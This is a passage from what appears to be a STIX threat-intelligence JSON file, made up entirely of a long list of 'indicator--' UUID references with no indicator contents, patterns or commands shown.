        "indicator--886fc729-6fc9-4093-99db-483c713e1683",
        "indicator--446b585b-6862-45fc-a3e0-c28a6ba9d38d",
        "indicator--eeccacf6-1498-47c2-8478-ec5a5cd0b490",
        "indicator--d1fb9a2a-4840-4c65-af20-eb4d08b10c81",
        "indicator--1b02b2e9-3cdd-493c-8a42-6aeb300febbc",
        "indicator--13acdaba-7485-40a4-b5ab-397493937ed5",
        "indicator--6ff11dc9-12bf-4b9b-baf1-a89326bf5ad3",
        "indicator--02885978-a19c-4db6-98a1-0f157b114e37",
        "indicator--0d5389df-6292-4369-a4eb-14062f5e6478",
        "indicator--5d0ff20d-e80f-46df-ad97-54718799d9dd",
        "indicator--e9297c02-a45b-4c2a-9ba6-642c98b2619d",
        "indicator--865cad2e-843e-4616-a157-4b57815b688c",
        "indicator--23d6d5ba-1a19-4f80-b0bc-523686fd2058",
        "indicator--a93b224a-cb53-40db-af76-8ae70c46abe3",
        "indicator--05a0a6ce-e91b-40dc-99e1-583f33d6309c",
        "indicator--1148f988-de5f-47d8-b46c-579e692a5d39",
        "indicator--88078465-1c2f-42f6-a525-42a935362210",
        "indicator--ff5e8621-f47d-497d-8f00-63f1cbf21d50",
        "indicator--c5a4f480-c318-4fc3-acb4-4109ad39d68d",
        "indicator--bd6f7488-b4fc-4d1f-8695-529ee667319b",
        "indicator--5e94298e-a269-4259-8e9d-5a41715400de",
        "indicator--52dc0fb7-3e34-490e-834e-e93750ec2305",
        "indicator--f384f918-0b61-457f-b707-38ba966db1b5",
        "indicator--5954971e-2ce3-408b-8b10-7d39b40c68ae",
        "indicator--f2f65194-37da-47b3-b3d0-c4ce09c9c6ac",
        "indicator--cdc2b746-51e3-4453-bbe6-9f667db7c070",
        "indicator--cea10e70-6fda-485f-a7ea-137bc4fa0482",
        "indicator--523937c8-a9e3-48fc-9bea-6cd07755d41c",
        "indicator--a5749118-a8f1-4d93-93f1-24e0934ea811",
        "indicator--2885be14-8065-44c3-87dd-48fcead7e24f",
        "indicator--e123124f-b2f1-412b-9c4e-0cdf51e6ca3e",
        "indicator--6a1abfe6-b6d0-45b8-ae57-3dadf1baed06",
        "indicator--f5c3c524-c618-4674-af1e-0f6f201158da",
        "indicator--0072af7f-d8e0-4f5b-b482-e58fe119028c",
        "indicator--589a620e-1340-4c25-9c47-0657ac6cc251",
        "indicator--19beff39-c32e-4ecb-86f1-ac51e3772916",
        "indicator--a890f46a-0f84-465c-a866-fc0ca185efb9",
        "indicator--b1d5946e-e4ba-44fa-946d-1ba096f1ab1a",
        "indicator--42da7d96-cfa8-4784-ad7b-b6e762d3c6af",
        "indicator--dbfd99d1-7299-4dfd-9ed5-e8092ddae9b8",
        "indicator--ef15833b-8272-49ca-97c5-b700a8db23d1",
        "indicator--42fbef09-85fc-4bc4-87f5-adc11f56ac6d",
        "indicator--8e5813aa-1bbc-4e3d-8cc0-d802837b75d6",
        "indicator--09a9d3c3-52e1-43da-8c88-bade71db9844",
        "indicator--edd610f8-94b0-4afe-acdf-c2f58bd44633",
        "indicator--59d3ae83-218a-4314-9574-c90a01b14925",
        "indicator--9e03acc9-69dc-4a21-b745-0ea9be6af68f",
        "indicator--105d8f61-2453-48ab-ab2a-084c1eeca875",
        "indicator--f07854da-10ee-4f9e-834e-e1ea1cc78d92",
        "indicator--d7c46fa1-d23e-4e4f-ba7e-894b889f57c4",
        "indicator--9e1c8bc8-eabf-4a65-ad2a-d8964c680c59",
        "indicator--30b861e6-7c9f-4b74-994a-fd9b903dd45f",
        "indicator--77e3cd2f-d9ea-477d-8c78-b5f9fb6d50ac",
        "indicator--bb4cf7fe-6c98-42cc-aa74-50848ce5153f",
        "indicator--c88a08a2-6fad-4870-9559-ca7413b80787",
        "indicator--ff0a3ae8-1223-4fe4-b4d3-87110a311d66",
        "indicator--d8a56a5e-cebc-4c8e-8f94-ca0ecb70d8dd",
        "indicator--ccde2c4d-832a-4e59-b602-eacd4b6238e1",
        "indicator--c12bcc47-7477-44bd-990c-3f1e8a4405bd",
        "indicator--540ffb73-9a7b-4394-b539-dce16c3acfd6",
        "indicator--1044d0bf-7d52-4ffe-af01-135693cf99e8",
        "indicator--44484ca1-a032-452e-a4be-c5c9c2202a39",
        "indicator--e4264e6a-1b86-4a2b-aa6e-567a4acc9b14",
        "indicator--d95cc764-2c58-4b08-951d-0b6e994485c5",
        "indicator--038b3934-9c11-46f0-8918-93f47cc10d98",
        "indicator--714178f4-4bd8-421f-b98e-f3c7b4a521da",
        "indicator--b0d2314f-8115-4031-b164-1cb3c5c461c5",
        "indicator--75b6431a-eabf-4eac-adab-c89bd458fe69",
        "indicator--a67034fd-0a80-415f-9464-89708d325fc1",
        "indicator--3571e73b-c949-4503-b6ec-3f0cd55bc6a7",
        "indicator--ed1afebf-5843-4185-8f20-772ff8690f9e",
        "indicator--83204aa2-2324-458a-b2c4-1641dcadb202",
        "indicator--b2664d98-c765-4835-b398-81928413a32f",
        "indicator--8b231955-c268-4af8-ba29-ecb7391bd374",
        "indicator--acd6f244-9d7c-4880-afec-e1bc24720b0a",
        "indicator--df203a5d-25bc-4229-a546-faf5292c7b8f",
        "indicator--0af25609-5ee4-4df1-b22a-fdf52f17e704",
        "indicator--dc9c62ee-865a-459e-9852-189e46cb02c2",
        "indicator--6840a8c1-d4d1-4e83-902d-a89783e94ecf",
        "indicator--6a9cd89a-1a0f-403e-b0b9-a61c8ad846c1",
        "indicator--522928a4-9f51-42e1-bc6d-4a75f31f5bbd",
        "indicator--439aac08-ce4e-40b3-8813-ce5094f7be5c",
        "indicator--7ae943bb-e6d4-40c9-958f-2016dfef3d4c",
        "indicator--48f6730b-2226-496d-a518-4a6ce39dfb73",
        "indicator--8a56a981-0eb0-43b0-85a1-9fb2c37f1212",
        "indicator--4f718041-6956-41a1-ab75-880439bdf538",
        "indicator--de458177-1d66-416f-8b1c-68ea874cf80c",
        "indicator--56f62f97-4428-4ebd-ad95-e3be3fe0c889",
        "indicator--0e40264e-a4e2-4e74-8781-902a2ee8f52e",
        "indicator--3dd731b8-c30a-4fee-a847-8dc0eb701878",
        "indicator--0177951e-17df-4b2f-a6b2-eedb9baf350d",
        "indicator--eb56dc3b-dab1-4684-8fd1-d4661563d5c6",
        "indicator--4d11ddc2-50f7-429f-b911-f137c68df481",
        "indicator--830a7e63-0bbb-4d7c-be2e-1ec7a7992407",
        "indicator--f2faec4b-99cd-4acb-abad-c83621e4d0d6",
        "indicator--3c83d961-7378-4da0-96ab-b770ffff166f",
        "indicator--8e65347a-059b-4004-a874-fc4dc588ddb4",
        "indicator--6b66b903-3fa4-41a8-b7d9-a99fbfa8b270",
        "indicator--09499ca7-1702-4452-b0a9-f0aeefda06c0",
        "indicator--8d5050ef-c608-467b-80c4-82a540fa29fa",
        "indicator--c79cd8cb-1717-45d7-a332-1b377ce2fbb8",
        "indicator--1c4b9152-566b-405e-8f82-38d7d4cd1684",
        "indicator--2ecbb5b5-31a3-4fa5-9fc2-1f08d2b25b12",
        "indicator--38ebe51d-9688-4fae-ace9-2b3aee1d37f3",
        "indicator--874f354d-dedd-4557-aa8a-02a2a4f848dc",
        "indicator--8f4e6a81-1359-499b-8351-273db802ae8d",
        "indicator--f0d64572-11e9-4bc4-834b-69e7613ecf0d",
        "indicator--b5a205be-88ec-4996-89be-d07eb0e9d378",
        "indicator--3d9c791b-2406-4f42-877b-4e92dd129abc",
        "indicator--9e51914f-c1e3-42ba-a495-d9d9e688d1d6",
        "indicator--146be06c-8bea-4a2b-b043-0082b95427d5",
        "indicator--da495d09-bd00-4a1f-87a1-d99579ac04bf",
        "indicator--4bdca00f-7186-4b26-926a-35052adc9589",
        "indicator--6848545e-923b-4c99-b905-43965ec82fe8",
        "indicator--cc0563ea-0fa3-43eb-bcef-88d799d3fd8d",
        "indicator--9623d891-d4ae-413a-9fa5-b4f200051986",
        "indicator--891e7cc8-a7b6-43fa-a1e1-11c490923a90",
        "indicator--ed6a952d-9502-463b-aec7-d9c136191026",
        "indicator--d795baa6-36f9-484a-a05d-b49b2f47c992",
        "indicator--946aaafa-58f9-4924-bd1d-bd71519ba185",
        "indicator--06c648f2-e730-4330-83a4-9b6611dbe5af",
        "indicator--954d93e9-c544-4eea-8f25-cd55a3b2c45d",
        "indicator--76a77c3d-d1a7-40c8-8b44-c83579b7addb",
        "indicator--3d5eb0f8-f629-4c6b-b66a-f243e7365c6e",
        "indicator--30e2f4ac-ae5d-419f-bacb-991262217801",
        "indicator--9c0ec0fb-8600-404a-824b-41b06b94c98f",
        "indicator--dfc52bef-4b8f-43be-8df7-1a1809359924",
        "indicator--c5cb5103-a3d9-4b01-80a1-5aaf48538664",
        "indicator--98f9d966-f5ec-4f77-aa93-80b172a8867b",
        "indicator--b91ca314-0097-4309-950b-eed91c48c0d3",
        "indicator--a6cb49d8-584a-4448-a190-d4d8455b8fe2",
        "indicator--472e36ae-e88c-4b22-959e-a418d5994f05",
        "indicator--44f97631-ef17-434b-b24b-8e0fe4099cea",
        "indicator--4a0915dd-2f13-4df3-9bc4-a11d9f1f923a",
        "indicator--b94f1055-e161-4b55-846e-42763b2b3c46",
        "indicator--e7e7327e-9b22-403c-9fa5-cadcc10d7d0b",
        "indicator--e4ea9160-39a9-48de-84b3-945fa705efef",
        "indicator--dbd92027-d6f8-4d79-9a99-f367b44c6191",
        "indicator--d97a7fa6-ce42-41be-863b-9712b06e29d7",
        "indicator--fdd63847-d811-482f-9163-c92643610fc5",
        "indicator--4dfbaf37-f79a-4cf6-a7d7-fd5444fa8f98",
        "indicator--9fef520b-af51-434f-875b-e39297107cea",
        "indicator--695a7cea-edaf-4a01-829f-9005b984e35c",
        "indicator--521bf165-e13d-4fd4-92f6-5a950f39ecac",
        "indicator--11c68ae3-5885-4c79-b729-d1cfb35083c1",
        "indicator--33fa6931-381e-4f67-8e21-831867cfe4ac",
        "indicator--e6277f40-02b1-4a14-af41-a99659284c26",
        "indicator--9bd2f823-6e3f-4955-93ea-e601b8c08c74",
        "indicator--9295cb53-b83e-4f3b-87f2-c8a75dfdcaa0",
        "indicator--11635825-f821-4048-963c-a708bad713a1",
        "indicator--54091901-1826-487f-ae2b-c993d03a9495",
        "indicator--4fd38e21-8771-4551-b99d-dab6d59db5d4",
        "indicator--b7ce5191-1b31-4c6a-8a01-b85add3cc3a7",
        "indicator--90f84048-acdd-48d2-a88e-034bf05aa638",
        "indicator--80b744f6-a01a-4d52-b0da-6aff9a3141c3",
        "indicator--17b81646-aae2-434d-9bb7-7ef58f5792ea",
        "indicator--7f445683-82e3-4ce4-8bb9-b26f38e7a855",
        "indicator--c0c1da36-a579-4f9c-bc2e-875cac8e182c",
        "indicator--7cfde852-e806-49ca-b380-8c988d6f4db0",
        "indicator--7b4581e3-01b3-4641-928e-6563e70e14d5",
        "indicator--834a73df-f80e-4235-b8e0-5fe264c1e3df",
        "indicator--63f5f268-a84e-489b-80d2-d975d99f28bf",
        "indicator--f36e5590-99ea-48df-abc4-887d77771481",
        "indicator--e8296379-5f84-4e55-9813-c1cae0fad4e8",
        "indicator--ad44ea20-6e1b-4c23-ba5a-a53556aad2a7",
        "indicator--fd21ec5f-c88d-447e-8a57-897463c73585",
        "indicator--aca96d9f-401f-4510-be8c-813fbd7471fa",
        "indicator--696dad9e-ea42-4c6a-959a-643b671a3720",
        "indicator--20f30ff3-4051-4cf3-816e-a077a2f994a3",
        "indicator--f62bbada-7162-4488-8339-2815bd4db5ac",
        "indicator--c7a4c98d-8261-4da0-ba96-5bdc2e44bcdc",
        "indicator--40a506a1-7e67-4fd6-9a94-02c87cc1adfc",
        "indicator--8c755b2c-3199-485b-b7a8-8e5e7f78fdb6",
        "indicator--e0bc5c57-ab41-4c52-9aac-349339bd273e",
        "indicator--9a0d41ae-3728-4f9a-9cde-1cf52df5c6b4",
        "indicator--e0038f30-4a1e-4cc7-a057-768b347e5d1b",
        "indicator--726c8d11-5cee-45f4-bf4d-e2848a9bffdb",
        "indicator--854891ce-2267-4f55-a8fb-677c761e3ea6",
        "indicator--154ded8e-54c8-4b31-8a5d-61c8dc48d204",
        "indicator--3b5512fb-6aeb-4f24-8d5f-3cfd2ed2ef83",
        "indicator--b40c6b79-9e7f-45c8-b007-9216d5a752f2",
        "indicator--5e31d542-e104-494c-a283-70a970057860",
        "indicator--f6d050ae-73e1-4cbc-90e1-9f4d4ba6f0dc",
        "indicator--f6075896-5996-4a2b-962e-01fd5b86bc65",
        "indicator--115a78fd-5978-4d95-b97c-d5b75ca25bf5",
        "indicator--198d503b-29cc-4036-9bd2-2ac56cc3e021",
        "indicator--39450689-6a77-44e4-ba43-b5da9b7f09fd",
        "indicator--43d0961d-908f-4997-a195-eb68b32e77eb",
        "indicator--82cbdc9c-5f03-4ac3-be97-58d9040a4a6e",
        "indicator--2d7794fc-c985-4a5e-a4ce-f040585c840a",
        "indicator--d63034ab-eda3-42cd-9351-fbd29f5c1179",
        "indicator--56239fb6-ffd2-41dd-aab4-0fecf7e2fb08",
        "indicator--3c428424-beff-4c1f-b003-63f06470a3d0",
        "indicator--ed3d5336-c227-44c5-8a69-9588c7d4a916",
        "indicator--e7dccb77-d850-40ab-9ec1-e16c63227de5",
        "indicator--68ef53ee-dfe4-4442-8bde-1b81e1f101de",
        "indicator--1fe7e851-3858-40de-b1d5-6eefcd1f3e54",
        "indicator--64cd0279-9cea-4128-95c9-ca2f3dc8cc21",
        "indicator--f11d6618-9e66-47ec-9e52-6cefea5abb3a",
        "indicator--eb23a257-3c25-4137-9480-0d9bf043944a",
        "indicator--90b107b0-d393-44ae-bbd9-9c11c0f2237d",
        "indicator--65c6266a-df14-4f79-99e3-ab738ab38d3c",
        "indicator--d4d1944c-8cd1-4c35-837e-eca0208ba72e",
        "indicator--bc89cbaf-a8bc-44c4-84bf-9467ddbf2312",
        "indicator--2d782603-ec2a-405e-b887-c56bdb3841b7",
        "indicator--8a7dc79d-b25a-471c-be13-d3622bbeaabf",
        "indicator--9657815e-65a9-4515-8b4a-312dbb9e0e54",
        "indicator--e883b6ae-5ad2-410b-874e-e1a8a1a1fa46",
        "indicator--6dbbdaae-b36a-4f01-89ab-917bc0a65d7e",
        "indicator--7384e8f6-4b20-41f4-9487-c4a93d45e524",
        "indicator--d14cc49c-5069-4e4f-b196-e9ef84523a03",
        "indicator--dba161d9-f0b8-48c7-9477-75f9bf10ecf5",
        "indicator--5c74f681-33a4-42a9-b894-5b51dbfd1b48",
        "indicator--702d2d3b-7e64-4fe9-911b-530b531b4920",
        "indicator--f7c79b21-ef6a-4f7e-b6da-ae653aef4057",
        "indicator--41915bac-7ca4-4f77-a7db-b1577738798a",
        "indicator--2b7cbdb5-20b6-4699-a2fc-9ddd7ffc0f51",
        "indicator--a9dc7e46-95aa-4889-86a6-cf8ace869f5e",
        "indicator--319b825c-2f19-4ec1-b199-5df417fa9346",
        "indicator--4825c478-528a-40dc-9be1-2adbe00b2dbf",
        "indicator--c149b65d-77f0-430a-9066-ddff70737357",
        "indicator--403400bd-bd7e-4910-94df-428366dc51b8",
        "indicator--62c93c31-84d5-4831-ae30-670235413228",
        "indicator--e8ae9f7a-6862-4218-b95f-8086c264fa04",
        "indicator--f51c72a0-1ece-439f-8399-2c8db3b37e7e",
        "indicator--765b4801-ba66-4bf0-b065-a18a7a94dd9c",
        "indicator--305f4d1b-5224-4790-8b73-f3869945fc56",
        "indicator--bd9984ff-06d1-4299-ba58-41e82da036ff",
        "indicator--872e5dc7-1092-4f0a-b0c8-f48890562b5f",
        "indicator--db6c36b8-dc39-470f-b1d8-e29a42d23a59",
        "indicator--14c3563a-a64d-4304-b0a4-05b959cab127",
        "indicator--6671bc2c-d8ff-4a12-b843-745ebbe0f5cd",
        "indicator--b956a2e1-6bc4-40ec-92b8-8f10684a7b41",
        "indicator--70076618-5fb1-4de7-aa20-cbc3f143f374",
        "indicator--d645b559-bf21-4e5d-8f51-8fb3d3bab7ae",
        "indicator--4f5ee633-a9af-4e1c-8e54-afbb212b01ef",
        "indicator--51940032-0424-433b-bc61-fdccc5ac52f0",
        "indicator--5ddae45f-c3fb-48c0-8f76-c7ef8acfec26",
        "indicator--e9ff17ff-85aa-41c1-8d80-6315be8be0e5",
        "indicator--5aba215a-f630-4f86-b7a1-a6010687acdf",
        "indicator--4812251e-c691-4755-bd0a-ab351da4ba8b",
        "indicator--9011f9e4-6937-48bd-bb11-4b0bafae40c2",
        "indicator--68f79f6f-89b7-4ea7-aa8d-9ef2e42fabd0",
        "indicator--30c48a04-2885-4203-be0b-6d97578f5f18",
        "indicator--0f54f929-1765-42a3-af8f-4794f56ae080",
        "indicator--35ea7384-d07b-4618-8382-08ab0ba51796",
        "indicator--f545c018-8189-4942-a0c9-94a203198cbb",
        "indicator--624f61cf-c2ea-46da-8e27-a4c353c5401e",
        "indicator--5c0fcdd2-10fc-41ea-aee8-c7ede251b971",
        "indicator--16e40c2b-0850-42c0-a423-f8e7050ed096",
        "indicator--ee5cdd20-8281-424b-8d98-0ca35b9144c7",
        "indicator--08d7e183-c427-4b60-9ac3-3ec3233c620b",
        "indicator--0b38c46c-5ac6-43f6-a274-d99031bbac59",
        "indicator--46211b80-f5c8-46b9-9a4a-93cd8e69258b",
        "indicator--643e2796-e4b7-492d-9004-ff88cf24128c",
        "indicator--9557536f-63f4-42f3-9e37-30a979119392",
        "indicator--74afaf06-f70b-422c-bc91-44d76beb7a03",
        "indicator--97419f8b-acba-4514-8588-3f2e3a0b87c2",
        "indicator--67f37ee4-5aca-44a4-91b1-be7bfad1c6e4",
        "indicator--0dc068d0-6bae-4407-9d2b-8eaf1ea319ce",
        "indicator--14b2087b-31b1-46de-9dfc-5d8a80860a48",
        "indicator--b8ba55bf-7cb2-47db-9409-6a4d03afcaa1",
        "indicator--3eba2816-feab-4a01-ab19-ce3684bf77ea",
        "indicator--ba5d73b1-8487-42f7-9755-acf9b1662cf0",
        "indicator--f66190e5-1ebc-491c-b489-3486e236ca6a",
        "indicator--ec6b0fd8-b410-47ae-ba5d-b902594e254d",
        "indicator--7a995269-ec95-4420-be39-6f9225a61ebd",
        "indicator--50cc9d58-a7c3-459a-a9d7-36af1ce02e62",
        "indicator--59cadfe0-06e5-4e03-9b66-26cbbc9820fc",
        "indicator--2801727d-2f71-409d-9646-e608f4d81c16",
        "indicator--e7f15fb6-bc0f-40f8-bfad-7c326a8d602f",
        "indicator--bbea3de4-729a-4372-9458-c0d82f5c7ead",
        "indicator--c8556880-828f-401c-9948-dd4490033dee",
        "indicator--842eac4f-21d8-4c04-9af4-a6f8fa8e7e03",
        "indicator--194fcf79-9b65-49dd-9f69-91dbfb607374",
        "indicator--bf4ca855-b574-4035-9127-823c25cb7043",
        "indicator--44238597-73b5-4ed0-aa68-6a69966e9e60",
        "indicator--ef813c5b-8d47-425e-8592-5e425d128c27",
        "indicator--84f1b690-8b61-4501-b4aa-921433e880b2",
        "indicator--99d4a2d8-8233-4ffb-b6d2-433e559f3501",
        "indicator--585624bc-0f7c-4b92-b2a3-297d81da8a9c",
        "indicator--9cf7520b-a429-4c48-b382-f3679cee10f0",
        "indicator--4ce7f232-8e1c-4585-b611-082826e84ffc",
        "indicator--d900b802-2222-474e-a0c3-f1f5fc3b3e9d",
        "indicator--1b915752-6c52-4a74-941f-0ce06c2e8979",
        "indicator--155675c7-ca6b-46cd-8179-3cbc67268f40",
        "indicator--26958bd0-9b75-436c-9ace-439b42ea9612",
        "indicator--78238c89-ec0b-4cb1-ad07-641053424b09",
        "indicator--86b08586-85ca-4bf7-a13b-278bc8e9c7b3",
        "indicator--27ac956c-91b9-4158-a146-a0ebc5f989df",
        "indicator--cd45a4ea-a9a4-42cd-bb3b-895679486a60",
        "indicator--32a392e6-8281-4d20-96fe-e249160bef97",
        "indicator--6b51db44-f632-41b5-8e7c-6536da9ea4bd",
        "indicator--4e8a2dca-5f76-4775-ab90-19af2683b6d1",
        "indicator--b9204871-5dcd-4115-bae4-2aee671951e8",
        "indicator--8c6a14c2-1f62-4b08-bca7-27adf813dc8f",
        "indicator--c7b5ea65-154d-4e99-91d6-0cdfed97b6a7",
        "indicator--aad918f1-bbc1-43b3-ac36-1235e12130d7",
        "indicator--e621fec7-214c-47c2-902a-407ebba1e8a5",
        "indicator--26286080-d338-404c-983d-78e4835b9ae7",
        "indicator--cff220d5-2ef4-4ebc-b3a5-5c1d3be3aa4b",
        "indicator--532c82b4-372c-4dec-88cd-6fc046b8e5a1",
        "indicator--24752d5d-3ece-42ab-aec9-7fe0e6b3bf2b",
        "indicator--be9694d5-e6b3-4a87-8306-42b49bb3a000",
        "indicator--4459d3a6-7227-4ae0-9cdf-872f4e7df51e",
        "indicator--7a590bb9-f598-45e2-ae0c-c45899d379d3",
        "indicator--0506142a-55de-418f-a84a-5cb1686b5f50",
        "indicator--3b08afda-6141-4c42-b035-0ae4848ae075",
        "indicator--f5494ce9-4cda-496e-86d1-ff59e1a0aa9a",
        "indicator--996ac79e-cc4e-4adb-9548-1d3bf9f786a0",
        "indicator--accb9a87-596a-4a74-9714-2c466c2d94a6",
        "indicator--343ed174-14ef-4cb1-b367-6a15ec3ee9be",
        "indicator--f1bea8b9-1b5d-4986-9284-505b0f9c660d",
        "indicator--1adfb79f-c087-4ccc-aecd-ef41aec3a8a8",
        "indicator--ce84cfeb-b356-43b0-8f55-93ce09ad0420",
        "indicator--a2538c32-a815-4ff5-bcd0-4194a31f1db8",
        "indicator--b8cb75d7-21c5-49dd-bde2-bb56938f953c",
        "indicator--847ed1aa-cc5d-489b-8528-a51dad0abad7",
        "indicator--0485c180-d263-4d83-89ee-f36c38eec103",
        "indicator--3e2c89ca-335d-409c-b635-a4b4ec70306e",
        "indicator--6a3e6d47-90a9-4ed0-99c6-eb94cb55529e",
        "indicator--7ad4bd9d-eff9-47a8-b1e8-e853ef26bb88",
        "indicator--10c1eeb8-94d2-4761-9986-a4d9eb0ae552",
        "indicator--32c8a4ba-a558-457c-8ef6-daa5642c35d5",
        "indicator--54a30132-5813-470d-9fe0-ce67dc05a72d",
        "indicator--fd376950-f8b6-4742-affb-b22be8ad9c02",
        "indicator--79b0603b-6ba3-4533-9d31-92bf3b446233",
        "indicator--209bf680-b6f2-4644-8bad-c6750dd6d8f2",
        "indicator--eedb53b3-1765-4072-ab78-4ee232c7a102",
        "indicator--3e3b3edc-7d8a-45de-ba1c-8967d60e6944",
        "indicator--e9b0b270-022f-4bd1-8b1a-8715497a82dd",
        "indicator--d171f5f5-7b0a-462a-afc3-02cf282933af",
        "indicator--5c151c7d-dfcd-4e3e-8b10-e4e5bd0cf1dc",
        "indicator--7ececaa9-c17e-47e6-ab96-2d9ca4380983",
        "indicator--a7fe1784-ef5f-40f5-aac9-07163c34792d",
        "indicator--77d464ab-6506-442a-a7ef-4ce3bcb3e341",
        "indicator--2e9d4725-ee38-479a-9109-86e90ed6f35a",
        "indicator--a4a39ddc-753a-4144-8201-07600b688d5b",
        "indicator--76b6d4d0-18a4-4981-a740-a671d84855ac",
        "indicator--19922d1b-0a6b-4f11-8bae-557422f08f10",
        "indicator--986a03eb-7e4d-4f1e-94aa-23d3ebc8fabb",
        "indicator--f2fda3a1-2389-4037-951d-906e5ae01c13",
        "indicator--b4d6a76d-cbca-416b-b20c-073b6ef96b0e",
        "indicator--1fe248cd-aa78-4e16-b370-f1cfab33069d",
        "indicator--fa4b1a63-48ab-4556-b6ee-ea87abdb728c",
        "indicator--282d6430-8b3d-4b18-9c06-347a98779795",
        "indicator--878306a5-b44b-4913-a7b7-8b9d961c77e8",
        "indicator--41b02c1c-70a0-4258-bbaa-67411bc0d83d",
        "indicator--7f462ad4-6eee-4db2-b540-dec5db113123",
        "indicator--7c00d257-2741-4b25-a681-cc6bc9a80203",
        "indicator--967c425f-2e18-4682-b785-5e7749d09c11",
        "indicator--63ea46d2-3553-4ddf-9d51-b6437d0b6799",
        "indicator--680f03b4-d180-4f63-ac18-0cccb610a882",
        "indicator--8ee98756-a4ad-4605-9f34-c30d22167cd5",
        "indicator--eea9043a-8a19-4a7a-a5e5-eabfe3e34c49",
        "indicator--965393ad-879a-4415-adca-06e64024e59a",
        "indicator--5fc2e2fb-d6a9-47bd-8ab1-d613e5f4faa8",
        "indicator--fb0316d4-f669-4a8e-83ab-8f27817f55fa",
        "indicator--bbafbd18-f68f-4f7d-85df-53f5861fce62",
        "indicator--a1cd9e6f-98e1-42b4-979c-bb87060cc81e",
        "indicator--7cd5aee5-31cb-44cd-864f-c1c3fa0ee996",
        "indicator--f6a151cd-b000-479d-b7d4-95ad20815b5a",
        "indicator--ba32056b-8702-4df8-bc03-9bf646628838",
        "indicator--2c0ee3a7-ef5e-42c6-b22f-ef20e6e22a5d",
        "indicator--d68b5fdc-9fcb-4128-8ddb-2e4b476c2058",
        "indicator--3fb31766-1780-4f61-b23a-34abc0d6b9c7",
        "indicator--454fe54d-2b3f-43c6-be30-1a5e4305df55",
        "indicator--13056a26-aa5a-4f1c-8f0c-51112815b0f4",
        "indicator--667d93d6-87f4-4bd3-ac9a-18e531c227f9",
        "indicator--268a35a9-462a-4925-8f42-15d65757d28c",
        "indicator--04c14c3b-4a24-4ffc-85f0-fee41b5bb9f4",
        "indicator--cb3dfab7-7851-433c-8c76-8d54df54d6ff",
        "indicator--899cb2f8-29b9-4a8a-bb75-32ff69b43273",
        "indicator--f0966cb9-eb8b-49f2-8423-b67108c1f6b8",
        "indicator--68538c9d-551d-48c8-bb50-db862636fdf0",
        "indicator--b19bd875-28f8-438e-ac44-33140bcdd9ae",
        "indicator--8d815e59-88c2-4f60-bd7f-5d5ea6cddd2f",
        "indicator--56755432-92b8-47af-84e2-b0d1909a3242",
        "indicator--ef64b32e-390d-4538-8a47-5baae81ceaba",
        "indicator--f1f9789b-86a1-4a2c-bb31-146c3f650182",
        "indicator--aedac2cb-a959-4e0f-ad06-41ce7c6c91dd",
        "indicator--b1988370-c0ab-4fef-bd9e-62721e01c191",
        "indicator--139ce259-dee8-4aea-a64a-4b07837621d0",
        "indicator--21f22bd9-e441-4aa7-ad8d-c0612fcbd8a7",
        "indicator--ccb9c5b5-269e-40eb-a1ae-303b97899074",
        "indicator--63ea2fe5-3504-4c42-91d1-bb2cfb1521fe",
        "indicator--bde00eb6-573f-428f-a01e-6ea0a8224244",
        "indicator--618faac1-520f-4fc1-872d-75d03d1cc3c3",
        "indicator--2fcefe35-5aed-44a4-b5cb-67349cf6a6b6",
        "indicator--c66488fd-2029-46c0-aa95-b7164017f1d3",
        "indicator--5119606b-2656-475c-98c2-61568e8b15b0",
        "indicator--a087cf9d-c365-4d73-92cb-277c6d8e3b43",
        "indicator--b5a2a3ba-5e09-4a1a-a49e-280391a1a15a",
        "indicator--0461ad34-1907-46a9-86d1-9c042b1d0ecb",
        "indicator--81212c45-3ff8-462e-bbca-1f26ff2aa51b",
        "indicator--c031da52-84ac-4c80-844a-e3febf31158b",
        "indicator--acc26a6c-66b9-44a6-a2ef-835347103d53",
        "indicator--2c416328-e7ab-4ffa-a968-5425244c4f20",
        "indicator--cdb5b1f7-709c-46fe-bcef-04c29c26933e",
        "indicator--e6c838f2-b133-421e-b848-ec1e2d94090c",
        "indicator--ba0bd1f8-584b-466d-bcdc-9e28f71c977e",
        "indicator--1a321f2d-5e64-40e0-ab7e-9a926bf7ccb9",
        "indicator--880b6232-12cd-48d7-93fb-0018c954000f",
        "indicator--6392093d-8a07-4b9d-8b33-be0aaad2b9fa",
        "indicator--8a45f8a2-5cd0-423d-ac2b-f4dbcd960981",
        "indicator--1ed84ab4-8dd5-4cea-96c2-c931284e0de5",
        "indicator--4415c5e0-7b99-49d3-b601-79bbcbd4b0bd",
        "indicator--37632cb3-8e7d-4832-8429-6b6c31da14e8",
        "indicator--438a09da-aa30-4f0b-ae40-01ee33523188",
        "indicator--2eb4ea58-51f6-48ff-84c6-6dd2e4f7fedb",
        "indicator--43b1c8f5-3fc2-46fb-be74-0d0d564ad75d",
        "indicator--1faf0bf9-1477-42ed-a582-a6e1cec15b64",
        "indicator--a2fea3bc-f010-436f-a479-ad589d58de45",
        "indicator--a832fc33-637f-42ac-8189-431241b2a4b2",
        "indicator--ffd4c53d-0a46-410b-a7d3-3c1de1b00c52",
        "indicator--dfeac12a-6ef5-48d3-a0ff-7657fb397b79",
        "indicator--3934f8a1-e1ce-47ab-82fe-66d62ba74199",
        "indicator--5d95e4f5-af58-4524-beca-b2d33318c663",
        "indicator--365a89e3-a5e3-4184-b047-f0aa1888c597",
        "indicator--c61d62da-b3fd-4e0e-bcfa-0bd9b87fe70b",
        "indicator--e5d40dd1-e52b-4171-a121-68a13dc376ff",
        "indicator--3df340f6-f776-4103-91e4-1546ff26dd04",
        "indicator--138da397-0626-4366-a5ff-3249f3bbbb35",
        "indicator--4b8d832e-7818-4f0a-b49b-74550653f2c4",
        "indicator--0bbb0a04-34f8-4bc6-ae52-0b3d33d83221",
        "indicator--0ddaba23-f14c-42a5-974f-e2ce5db8b92e",
        "indicator--21da5c5d-04ef-4005-b33a-a9fd9313001b",
        "indicator--5ae02779-6097-42e0-a32a-b9fdc40bbc1d",
        "indicator--a23e9304-acb6-4ccf-aa58-8ae45b87cdb6",
        "indicator--7570250b-5ce5-4b01-8a29-57fefbec5303",
        "indicator--c610262e-7a21-4b98-8f57-d6d83807944f",
        "indicator--e0834f1e-46bb-461b-830c-16b41193ae6a",
        "indicator--914c702a-91d3-42e1-8a80-3c17052ab0b9",
        "indicator--dee71225-569a-48d1-8cd7-636420ff3ccf",
        "indicator--1126b40d-e72a-4190-b380-71d4f0fac7ed",
        "indicator--12ecad99-a305-49a5-a54b-3424b090aa7e",
        "indicator--7eb2bb3e-b174-44eb-a29f-cda2a99464bb",
        "indicator--f401982a-d782-43ab-a736-a6eccee9444d",
